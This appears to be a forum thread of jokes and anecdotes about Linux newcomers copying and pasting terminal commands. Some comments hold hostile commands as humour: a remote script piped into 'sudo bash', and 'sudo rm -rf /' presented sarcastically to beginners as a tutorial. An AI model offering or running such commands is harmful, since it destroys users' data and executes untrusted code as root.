You could say I am a bit of a copy/paste expert..

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

That’s probably how most of us started, but then you start getting familiar with things…

I actually take the time to type everything out, but I still have no idea what I’m doing.

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

For anyone who needs it. Try out:

curl cheat.sh/

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

Years ago I started out like this, then gradually started reading and understanding the stuff.

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

I shouldn't have done that

I am not alone.

I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com

copy and pasted random login info

"Why isn't this working?"

All hail the arch Linux wiki!

ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories

The real question is which buffer are you using? Team middle-click ftw.

Just be careful with those two letter shell commands like rm and dd. But if you don't, you will become proficient in reinstalling Linux.

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It’s funny cuz it’s true

I've spent some much time in a terminal the last week I'm starting to Ctrl+x anytime I want to save anything lol. Even illustrator files at work lol.

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Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.

You'll learn when you do more of those

Yeah I'm wildly careless about copying and pasting stuff beginning with "sudo ...". No harm yet, though I do wonder what this process called "totallynotabitcoinminer" is and why my pc has slowed to a crawl.

I too like to sudo bash

Lol yep.

This makes me laugh so much. After years of using Linux, it’s still true for me to an extent.

You copypaste till everything is in the terminal history, then you just scroll through it like a pro

It's the main reason mainly programmers use it, not because of the openess, because they learnt to Google there problems

Ah yes, anytime I am making a script in bash and have to use something I have never seen before.

As a wayland user, I wish this was true

Yeah, Linux is not for you if don't know what you're doing.